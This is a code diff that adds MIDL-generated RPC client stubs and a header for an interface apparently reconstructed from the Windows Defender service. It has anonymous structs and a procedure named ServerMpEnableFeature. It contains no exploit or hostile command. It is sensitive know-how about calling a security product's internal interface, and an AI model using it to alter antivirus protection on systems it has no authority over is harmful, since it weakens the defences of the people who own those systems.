0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2_t __midl_frag2 = +{ +/* Proc0_ServerMpEnableFeature */ + { + /* Proc0_ServerMpEnableFeature */ /* procedure Proc0_ServerMpEnableFeature */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1_t __midl_frag1 = +(NDR64_UINT32) 0 /* 0x0 */; +#ifdef __cplusplus +} +#endif + + +#include "poppack.h" + + +static const FormatInfoRef DefaultIfName_Ndr64ProcTable[] = + { + &__midl_frag2, + &__midl_frag8, + &__midl_frag13, + &__midl_frag30, + &__midl_frag42, + &__midl_frag48, + &__midl_frag160, + &__midl_frag179, + &__midl_frag186, + &__midl_frag204, + &__midl_frag199, + &__midl_frag204, + &__midl_frag210, + &__midl_frag216, + &__midl_frag223, + &__midl_frag261, + &__midl_frag268, + &__midl_frag276, + &__midl_frag283, + &__midl_frag294, + &__midl_frag300, + &__midl_frag305, + &__midl_frag322, + &__midl_frag350, + &__midl_frag337, + &__midl_frag357, + &__midl_frag350, + &__midl_frag357, + &__midl_frag414, + &__midl_frag564, + &__midl_frag376, + &__midl_frag383, + &__midl_frag391, + &__midl_frag399, + &__midl_frag407, + &__midl_frag414, + &__midl_frag564, + &__midl_frag426, + &__midl_frag434, + &__midl_frag443, + &__midl_frag449, + &__midl_frag455, + &__midl_frag461, + &__midl_frag468, + &__midl_frag474, + &__midl_frag482, + &__midl_frag499, + &__midl_frag513, + &__midl_frag521, + &__midl_frag528, + &__midl_frag535, + &__midl_frag542, + &__midl_frag548, + &__midl_frag556, + &__midl_frag564, + &__midl_frag570, + &__midl_frag589, + &__midl_frag600, + &__midl_frag609, + &__midl_frag618, + &__midl_frag874, + &__midl_frag633, + &__midl_frag649, + &__midl_frag661, + &__midl_frag682, + &__midl_frag689, + &__midl_frag874, + &__midl_frag855, + &__midl_frag710, + &__midl_frag718, + &__midl_frag874, + &__midl_frag730, + &__midl_frag862, + &__midl_frag874, + &__midl_frag751, + &__midl_frag756, + &__midl_frag874, + &__midl_frag770, + &__midl_frag869, + &__midl_frag781, + &__midl_frag790, + &__midl_frag874, + &__midl_frag808, + &__midl_frag808, + &__midl_frag813, + &__midl_frag817, + &__midl_frag828, + &__midl_frag835, + &__midl_frag842, + &__midl_frag874, + &__midl_frag855, + &__midl_frag862, + &__midl_frag869, + &__midl_frag874, + &__midl_frag880, + &__midl_frag936, + &__midl_frag969, + &__midl_frag949, + &__midl_frag958, + &__midl_frag969, + &__midl_frag975, + &__midl_frag980, + &__midl_frag985, + &__midl_frag1003, + &__midl_frag1012, + &__midl_frag1018, + &__midl_frag1032, + &__midl_frag1040, + &__midl_frag1061, + &__midl_frag1049, + &__midl_frag1055, + &__midl_frag1061, + &__midl_frag1065, + &__midl_frag1076, + &__midl_frag1082, + &__midl_frag1093, + &__midl_frag1122, + &__midl_frag1112, + &__midl_frag1122, + &__midl_frag1130, + &__midl_frag1139, + &__midl_frag1154, + &__midl_frag1154, + &__midl_frag1160, + &__midl_frag1173, + &__midl_frag1186, + &__midl_frag1198, + &__midl_frag1212, + &__midl_frag1221, + &__midl_frag1227, + &__midl_frag1238, + &__midl_frag1238, + &__midl_frag1242, + &__midl_frag1250, + &__midl_frag1267, + &__midl_frag1272, + &__midl_frag1292, + &__midl_frag1376, + &__midl_frag1306, + &__midl_frag1376, + &__midl_frag1376, + &__midl_frag1328, + &__midl_frag1376, + &__midl_frag1342, + &__midl_frag1358, + &__midl_frag1376, + &__midl_frag1380, + &__midl_frag1388, + &__midl_frag1404, + &__midl_frag1410, + &__midl_frag1421, + &__midl_frag1421, + &__midl_frag1427, + &__midl_frag1436, + &__midl_frag1442, + &__midl_frag1453, + &__midl_frag1468, + &__midl_frag1479, + &__midl_frag1489, + &__midl_frag1515, + &__midl_frag1530, + &__midl_frag1537, + &__midl_frag1553, + &__midl_frag1570, + &__midl_frag1583, + &__midl_frag1594, + &__midl_frag1610, + &__midl_frag1621, + &__midl_frag1632, + &__midl_frag1645, + &__midl_frag1652, + &__midl_frag1657, + &__midl_frag1673, + &__midl_frag1843, + &__midl_frag1690, + &__midl_frag1697, + &__midl_frag1702, + &__midl_frag1708, + &__midl_frag1725, + &__midl_frag1742, + &__midl_frag1761, + &__midl_frag1779, + &__midl_frag1787, + &__midl_frag1794, + &__midl_frag1799, + &__midl_frag1805, + &__midl_frag1810, + &__midl_frag1817, + &__midl_frag1825, + &__midl_frag1836, + &__midl_frag1843, + &__midl_frag1849, + &__midl_frag1859, + &__midl_frag1871, + &__midl_frag1912, + &__midl_frag1918, + &__midl_frag1925, + &__midl_frag1942, + &__midl_frag1942, + &__midl_frag1955, + &__midl_frag1965, + &__midl_frag1976, + &__midl_frag1983, + &__midl_frag2248, + &__midl_frag2291, + &__midl_frag2291, + &__midl_frag2008, + &__midl_frag2017, + &__midl_frag2035, + &__midl_frag2248, + &__midl_frag2066, + &__midl_frag2074, + &__midl_frag2087, + &__midl_frag2291, + &__midl_frag2109, + &__midl_frag2121, + &__midl_frag2152, + &__midl_frag2161, + &__midl_frag2168, + &__midl_frag2181, + &__midl_frag2185, + &__midl_frag2209, + &__midl_frag2217, + &__midl_frag2235, + &__midl_frag2248, + &__midl_frag2254, + &__midl_frag2265, + &__midl_frag2291, + &__midl_frag2297, + &__midl_frag2311, + &__midl_frag2316, + &__midl_frag2321, + &__midl_frag2338, + &__midl_frag2345, + &__midl_frag2351, + &__midl_frag2360 + }; + + +#ifdef __cplusplus +namespace { +#endif +static const MIDL_STUB_DESC DefaultIfName_StubDesc = + { + (void *)& DefaultIfName___RpcClientInterface, + MIDL_user_allocate, + MIDL_user_free, + &DefaultIfName__MIDL_AutoBindHandle, + 0, + 0, + 0, + 0, + windefend__MIDL_TypeFormatString.Format, + 1, /* -error bounds_check flag */ + 0x60001, /* Ndr library version */ + 0, + 0x8010274, /* MIDL Version 8.1.628 */ + 0, + 0, + 0, /* notify & notify_flag routine table */ + 0x2000001, /* MIDL flag */ + 0, /* cs routines */ + (void *)& DefaultIfName_ProxyInfo, /* proxy/server info */ + 0 + }; +#ifdef __cplusplus +} +#endif + +static const MIDL_SYNTAX_INFO DefaultIfName_SyntaxInfo [ 2 ] = + { + { + {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, + 0, + windefend__MIDL_ProcFormatString.Format, + DefaultIfName_FormatStringOffsetTable, + windefend__MIDL_TypeFormatString.Format, + 0, + 0, + 0 + } + ,{ + {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}, + 0, + 0 , + (unsigned short *) DefaultIfName_Ndr64ProcTable, + 0, + 0, + 0, + 0 + } + }; + +static const MIDL_STUBLESS_PROXY_INFO DefaultIfName_ProxyInfo = + { + &DefaultIfName_StubDesc, + windefend__MIDL_ProcFormatString.Format, + DefaultIfName_FormatStringOffsetTable, + (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax_2_0, + 2, + (MIDL_SYNTAX_INFO*)DefaultIfName_SyntaxInfo + + }; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif + + +#endif /* defined(_M_AMD64)*/ + diff --git a/windefend_h.h b/windefend_h.h new file mode 100644 index 0000000..3bfd23a --- /dev/null +++ b/windefend_h.h @@ -0,0 +1,2586 @@ + + +/* this ALWAYS GENERATED file contains the definitions for the interfaces */ + + + /* File created by MIDL compiler version 8.01.0628 */ +/* at Mon Jan 18 19:14:07 2038 + */ +/* Compiler settings for windefend.idl: + Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 + protocol : all , ms_ext, c_ext, robust + error checks: allocation ref bounds_check enum stub_data + VC __declspec() decoration level: + __declspec(uuid()), __declspec(selectany), __declspec(novtable) + DECLSPEC_UUID(), MIDL_INTERFACE() +*/ +/* @@MIDL_FILE_HEADING( ) */ + + + +/* verify that the version is high enough to compile this file*/ +#ifndef __REQUIRED_RPCNDR_H_VERSION__ +#define __REQUIRED_RPCNDR_H_VERSION__ 500 +#endif + +#include "rpc.h" +#include "rpcndr.h" + +#ifndef __RPCNDR_H_VERSION__ +#error this stub requires an updated version of +#endif /* __RPCNDR_H_VERSION__ */ + + +#ifndef __windefend_h_h__ +#define __windefend_h_h__ + +#if defined(_MSC_VER) && (_MSC_VER >= 1020) +#pragma once +#endif + +#ifndef DECLSPEC_XFGVIRT +#if defined(_CONTROL_FLOW_GUARD_XFG) +#define DECLSPEC_XFGVIRT(base, func) __declspec(xfg_virtual(base, func)) +#else +#define DECLSPEC_XFGVIRT(base, func) +#endif +#endif + +/* Forward Declarations */ + +/* header files for imported files */ +#include "oaidl.h" +#include "ocidl.h" + +#ifdef __cplusplus +extern "C"{ +#endif + + +#ifndef __DefaultIfName_INTERFACE_DEFINED__ +#define __DefaultIfName_INTERFACE_DEFINED__ + +/* interface DefaultIfName */ +/* [version][uuid] */ + +typedef struct Struct_16_t + { + long StructMember0; + short StructMember1; + short StructMember2; + byte StructMember3[ 8 ]; + } Struct_16_t; + +typedef struct Struct_28_t + { + hyper StructMember0; + } Struct_28_t; + +typedef struct Struct_40_t + { + long StructMember0; + long StructMember1; + long StructMember2[ 4 ]; + } Struct_40_t; + +typedef struct Struct_58_t + { + long StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + hyper StructMember4; + hyper StructMember5[ 4 ]; + } Struct_58_t; + +typedef struct Struct_78_t + { + long StructMember0; + long StructMember1; + struct Struct_16_t StructMember2; + struct Struct_28_t StructMember3; + struct Struct_28_t StructMember4; + struct Struct_40_t StructMember5; + struct Struct_58_t StructMember6; + hyper StructMember7; + } Struct_78_t; + +typedef struct Struct_110_t + { + long StructMember0; + } Struct_110_t; + +typedef struct Struct_126_t + { + long StructMember0; + long StructMember1; + } Struct_126_t; + +typedef struct Struct_144_t + { + long StructMember0; + struct Struct_78_t StructMember1; + struct Struct_78_t StructMember2; + struct Struct_40_t StructMember3; + struct Struct_110_t StructMember4[ 4 ]; + struct Struct_126_t StructMember5[ 11 ]; + struct Struct_28_t StructMember6; + } Struct_144_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_222 + { + /* [case()][unique] */ struct Struct_444_t *unionMember_1; + /* [case()][unique] */ struct Struct_502_t *unionMember_3; + /* [case()][unique] */ struct Struct_530_t *unionMember_4; + /* [case()][unique] */ struct Struct_552_t *unionMember_5; + /* [case()][unique] */ struct Struct_576_t *unionMember_2; + /* [case()][unique] */ struct Struct_594_t *unionMember_6; + /* [case()][unique] */ struct Struct_110_t *unionMember_7; + /* [case()][unique] */ struct Struct_630_t *unionMember_8; + /* [case()][unique] */ struct Struct_674_t *unionMember_9; + /* [case()][unique] */ struct Struct_706_t *unionMember_10; + /* [case()][unique] */ struct Struct_756_t *unionMember_12; + /* [case()][unique] */ struct Struct_126_t *unionMember_13; + /* [case()][unique] */ struct Struct_780_t *unionMember_14; + /* [case()][unique] */ struct Struct_800_t *unionMember_15; + /* [case()][unique] */ struct Struct_110_t *unionMember_16; + /* [case()][unique] */ struct Struct_110_t *unionMember_17; + /* [case()][unique] */ struct Struct_820_t *unionMember_18; + /* [case()][unique] */ struct Struct_840_t *unionMember_19; + /* [case()][unique] */ struct Struct_856_t *unionMember_20; + /* [case()][unique] */ struct Struct_884_t *unionMember_21; + /* [case()][unique] */ struct Struct_954_t *unionMember_22; + } union_222; + +typedef /* [switch_type] */ /* [switch_type] */ union union_368 + { + /* [case()][unique] */ struct Struct_110_t *unionMember_0; + /* [case()][unique] */ struct Struct_110_t *unionMember_1; + /* [case()][unique] */ struct Struct_110_t *unionMember_2; + /* [case()][unique] */ struct Struct_110_t *unionMember_3; + /* [case()][unique] */ struct Struct_110_t *unionMember_4; + /* [case()][unique] */ struct Struct_110_t *unionMember_5; + /* [case()][unique] */ struct Struct_110_t *unionMember_6; + /* [case()][unique] */ struct Struct_110_t *unionMember_7; + /* [case()][unique] */ struct Struct_110_t *unionMember_8; + /* [case()][unique] */ struct Struct_110_t *unionMember_9; + /* [case()][unique] */ struct Struct_110_t *unionMember_10; + } union_368; + +typedef struct Struct_444_t + { + long StructMember0; + long StructMember1; + /* [switch_is] */ union union_368 StructMember2; + } Struct_444_t; + +typedef struct Struct_476_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [size_is][unique] */ unsigned char *StructMember4; + } Struct_476_t; + +typedef struct Struct_502_t + { + long StructMember0; + /* [unique] */ struct Struct_476_t *StructMember1; + struct Struct_58_t StructMember2; + struct Struct_40_t StructMember3; + } Struct_502_t; + +typedef struct Struct_530_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + /* [unique] */ struct Struct_476_t *StructMember3; + } Struct_530_t; + +typedef struct Struct_552_t + { + /* [unique] */ struct Struct_476_t *StructMember0; + /* [unique] */ struct Struct_476_t *StructMember1; + } Struct_552_t; + +typedef struct Struct_576_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + } Struct_576_t; + +typedef struct Struct_594_t + { + long StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_594_t; + +typedef struct Struct_630_t + { + long StructMember0; + /* [size_is][unique] */ unsigned char *StructMember1; + } Struct_630_t; + +typedef struct Struct_674_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + long StructMember4; + /* [size_is][unique] */ unsigned char *StructMember5; + } Struct_674_t; + +typedef struct Struct_706_t + { + long StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + struct Struct_28_t StructMember3; + long StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + long StructMember7; + } Struct_706_t; + +typedef struct Struct_756_t + { + long StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + } Struct_756_t; + +typedef struct Struct_780_t + { + struct Struct_126_t StructMember0; + struct Struct_126_t StructMember1; + long StructMember2; + long StructMember3; + } Struct_780_t; + +typedef struct Struct_800_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + } Struct_800_t; + +typedef struct Struct_820_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + } Struct_820_t; + +typedef struct Struct_840_t + { + long StructMember0; + hyper StructMember1; + } Struct_840_t; + +typedef struct Struct_856_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + } Struct_856_t; + +typedef struct Struct_884_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + long StructMember4; + } Struct_884_t; + +typedef struct Struct_916_t + { + long StructMember0; + long StructMember1; + /* [size_is][unique] */ unsigned char *StructMember2; + } Struct_916_t; + +typedef struct Struct_954_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_916_t *StructMember1; + } Struct_954_t; + +typedef struct Struct_970_t + { + long StructMember0; + long StructMember1; + struct Struct_28_t StructMember2; + long StructMember3; + /* [switch_is] */ union union_222 StructMember4; + } Struct_970_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_1078 + { + /* [case()][unique] */ struct Struct_110_t *unionMember_0; + /* [case()][unique] */ struct Struct_1118_t *unionMember_1; + /* [case()][unique] */ struct Struct_110_t *unionMember_2; + /* [case()][unique] */ struct Struct_110_t *unionMember_3; + /* [case()][unique] */ struct Struct_1156_t *unionMember_4; + } union_1078; + +typedef struct Struct_1118_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + long StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + } Struct_1118_t; + +typedef struct Struct_1156_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_1156_t; + +typedef struct Struct_1232_t + { + hyper StructMember0; + struct Struct_16_t StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10[ 6 ]; + long StructMember11; + /* [size_is][unique] */ struct Struct_476_t **StructMember12; + struct Struct_28_t StructMember13; + long StructMember14; + long StructMember15; + struct Struct_16_t StructMember16; + long StructMember17; + /* [switch_is] */ union union_1078 StructMember18; + long StructMember19; + /* [string][unique] */ wchar_t *StructMember20; + long StructMember21; + /* [string][unique] */ wchar_t *StructMember22; + long StructMember23; + long StructMember24; + struct Struct_28_t StructMember25; + long StructMember26; + struct Struct_28_t StructMember27; + long StructMember28; + long StructMember29; + long StructMember30; + /* [string][unique] */ wchar_t *StructMember31; + long StructMember32; + /* [size_is][unique] */ struct Struct_476_t **StructMember33; + long StructMember34; + long StructMember35; + long StructMember36; + long StructMember37; + long StructMember38; + } Struct_1232_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_1370 + { + /* [case()][unique] */ struct Struct_1232_t *unionMember_1; + } union_1370; + +typedef struct Struct_1382_t + { + long StructMember0; + /* [switch_is] */ union union_1370 StructMember1; + } Struct_1382_t; + +typedef struct Struct_1434_t + { + long StructMember0; + /* [size_is][unique] */ hyper *StructMember1; + /* [size_is][unique] */ long *StructMember2; + } Struct_1434_t; + +typedef struct Struct_1516_t + { + hyper StructMember0; + struct Struct_28_t StructMember1; + } Struct_1516_t; + +typedef struct Struct_1536_t + { + struct Struct_1516_t StructMember0; + struct Struct_1516_t StructMember1; + struct Struct_1516_t StructMember2; + struct Struct_1516_t StructMember3; + struct Struct_1516_t StructMember4; + struct Struct_1516_t StructMember5; + struct Struct_1516_t StructMember6; + struct Struct_1516_t StructMember7; + struct Struct_1516_t StructMember8[ 4 ]; + } Struct_1536_t; + +typedef struct Struct_1682_t + { + long StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + long StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + } Struct_1682_t; + +typedef struct Struct_1740_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_1682_t **StructMember1; + } Struct_1740_t; + +typedef struct Struct_1872_t + { + long StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_1872_t; + +typedef struct Struct_1920_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + long StructMember7; + long StructMember8; + long StructMember9; + long StructMember10; + long StructMember11; + long StructMember12; + long StructMember13; + long StructMember14; + long StructMember15; + long StructMember16; + long StructMember17; + long StructMember18; + long StructMember19; + long StructMember20; + } Struct_1920_t; + +typedef struct Struct_1978_t + { + long StructMember0; + long StructMember1; + } Struct_1978_t; + +typedef struct Struct_2070_t + { + /* [string][unique] */ wchar_t *StructMember0; + } Struct_2070_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_2142 + { + /* [case()][unique] */ struct Struct_2194_t *unionMember_0; + /* [case()][unique] */ struct Struct_2208_t *unionMember_1; + /* [case()][unique] */ struct Struct_2270_t *unionMember_2; + /* [case()][unique] */ struct Struct_2300_t *unionMember_3; + /* [case()][unique] */ struct Struct_2314_t *unionMember_4; + /* [case()][unique] */ struct Struct_2356_t *unionMember_5; + /* [case()][unique] */ struct Struct_2408_t *unionMember_6; + } union_2142; + +typedef struct Struct_2194_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + } Struct_2194_t; + +typedef struct Struct_2208_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + hyper StructMember5; + long StructMember6; + struct Struct_16_t StructMember7; + hyper StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + struct Struct_28_t StructMember10; + hyper StructMember11; + struct Struct_28_t StructMember12; + hyper StructMember13; + hyper StructMember14; + hyper StructMember15; + hyper StructMember16; + hyper StructMember17; + hyper StructMember18; + } Struct_2208_t; + +typedef struct Struct_2270_t + { + struct Struct_28_t StructMember0; + hyper StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + hyper StructMember4; + } Struct_2270_t; + +typedef struct Struct_2300_t + { + struct Struct_28_t StructMember0; + } Struct_2300_t; + +typedef struct Struct_2314_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + hyper StructMember5; + struct Struct_28_t StructMember6; + hyper StructMember7; + struct Struct_28_t StructMember8; + hyper StructMember9; + } Struct_2314_t; + +typedef struct Struct_2356_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + } Struct_2356_t; + +typedef struct Struct_2408_t + { + long StructMember0; + struct Struct_28_t StructMember1; + hyper StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + long StructMember5; + /* [size_is][unique] */ struct Struct_916_t *StructMember6; + } Struct_2408_t; + +typedef struct Struct_2442_t + { + long StructMember0; + /* [switch_is] */ union union_2142 StructMember1; + } Struct_2442_t; + +typedef struct Struct_2482_t + { + struct Struct_110_t StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [size_is][unique] */ wchar_t *StructMember4; + long StructMember5; + /* [size_is][unique] */ wchar_t *StructMember6; + } Struct_2482_t; + +typedef struct Struct_2516_t + { + struct Struct_2442_t StructMember0; + struct Struct_2482_t StructMember1; + hyper StructMember2; + } Struct_2516_t; + +typedef struct Struct_2558_t + { + struct Struct_16_t StructMember0; + long StructMember1; + long StructMember2; + hyper StructMember3; + } Struct_2558_t; + +typedef struct Struct_2640_t + { + hyper StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + long StructMember6; + /* [size_is][unique] */ struct Struct_476_t **StructMember7; + long StructMember8; + long StructMember9; + } Struct_2640_t; + +typedef struct Struct_2672_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_2672_t; + +typedef struct Struct_2680_t + { + long StructMember0; + struct Struct_2672_t StructMember1; + } Struct_2680_t; + +typedef struct Struct_2798_t + { + /* [string][unique] */ wchar_t *StructMember0; + hyper StructMember1; + long StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + } Struct_2798_t; + +typedef struct Struct_2854_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + long StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + } Struct_2854_t; + +typedef struct Struct_2900_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + long StructMember2; + } Struct_2900_t; + +typedef struct Struct_2986_t + { + /* [string][unique] */ wchar_t *StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + } Struct_2986_t; + +typedef struct Struct_3040_t + { + long StructMember0; + /* [size_is][unique] */ struct Struct_2986_t **StructMember1; + long StructMember2; + /* [size_is][unique] */ unsigned char *StructMember3; + hyper StructMember4; + long StructMember5; + } Struct_3040_t; + +typedef struct Struct_3108_t + { + struct Struct_16_t StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + } Struct_3108_t; + +typedef struct Struct_3166_t + { + /* [string][unique] */ wchar_t *StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_3166_t; + +typedef struct Struct_3220_t + { + struct Struct_3166_t StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + struct Struct_16_t StructMember2; + long StructMember3; + long StructMember4; + long StructMember5; + unsigned char StructMember6[ 32 ]; + } Struct_3220_t; + +typedef struct Struct_3280_t + { + /* [string][unique] */ wchar_t *StructMember0; + } Struct_3280_t; + +typedef struct Struct_3302_t + { + long StructMember0; + /* [unique] */ struct Struct_3220_t *StructMember1; + /* [unique] */ struct Struct_3108_t *StructMember2; + } Struct_3302_t; + +typedef struct Struct_3350_t + { + long StructMember0; + long StructMember1; + long StructMember2; + } Struct_3350_t; + +typedef struct Struct_3370_t + { + long StructMember0; + /* [string][unique] */ wchar_t *StructMember1; + /* [string][unique] */ wchar_t *StructMember2; + /* [string][unique] */ wchar_t *StructMember3; + /* [string][unique] */ wchar_t *StructMember4; + /* [string][unique] */ wchar_t *StructMember5; + /* [string][unique] */ wchar_t *StructMember6; + /* [string][unique] */ wchar_t *StructMember7; + /* [string][unique] */ wchar_t *StructMember8; + /* [string][unique] */ wchar_t *StructMember9; + hyper StructMember10; + long StructMember11; + hyper StructMember12; + long StructMember13; + long StructMember14; + /* [string][unique] */ wchar_t *StructMember15; + /* [string][unique] */ wchar_t *StructMember16; + short StructMember17; + short StructMember18; + /* [string][unique] */ wchar_t *StructMember19; + long StructMember20; + long StructMember21; + } Struct_3370_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3514 + { + /* [case()][unique] */ struct Struct_3552_t *unionMember_0; + } union_3514; + +typedef struct Struct_3552_t + { + hyper StructMember0; + long StructMember1; + /* [size_is][unique] */ struct Struct_476_t **StructMember2; + } Struct_3552_t; + +typedef struct Struct_3570_t + { + long StructMember0; + /* [switch_is] */ union union_3514 StructMember1; + } Struct_3570_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3624 + { + /* [case()][unique] */ struct Struct_3640_t *unionMember_1; + } union_3624; + +typedef struct Struct_3640_t + { + hyper StructMember0; + long StructMember1; + long StructMember2; + long StructMember3; + } Struct_3640_t; + +typedef struct Struct_3654_t + { + long StructMember0; + /* [switch_is] */ union union_3624 StructMember1; + } Struct_3654_t; + +typedef /* [switch_type] */ /* [switch_type] */ union union_3714 + { + /* [case()][unique] */ struct Struct_3742_t *unionMember_1; + /* [case()][unique] */ struct Struct_3762_t *unionMember_2; + /* [case()][unique] */ struct Struct_3782_t *unionMember_3; + } union_3714; + +typedef struct Struct_3742_t + { + long StructMember0; + long StructMember1; + hyper StructMember2; + hyper StructMember3; + long StructMember4; + } Struct_3742_t; + +typedef struct Struct_3762_t + { + /* [unique] */ struct Struct_3742_t *StructMember0; + long StructMember1; + } Struct_3762_t; + +typedef struct Struct_3782_t + { + /* [unique] */ struct Struct_3762_t *StructMember0; + long StructMember1; + hyper StructMember2; + } Struct_3782_t; + +typedef struct Struct_3800_t + { + long StructMember0; + /* [switch_is] */ union union_3714 StructMember1; + } Struct_3800_t; + 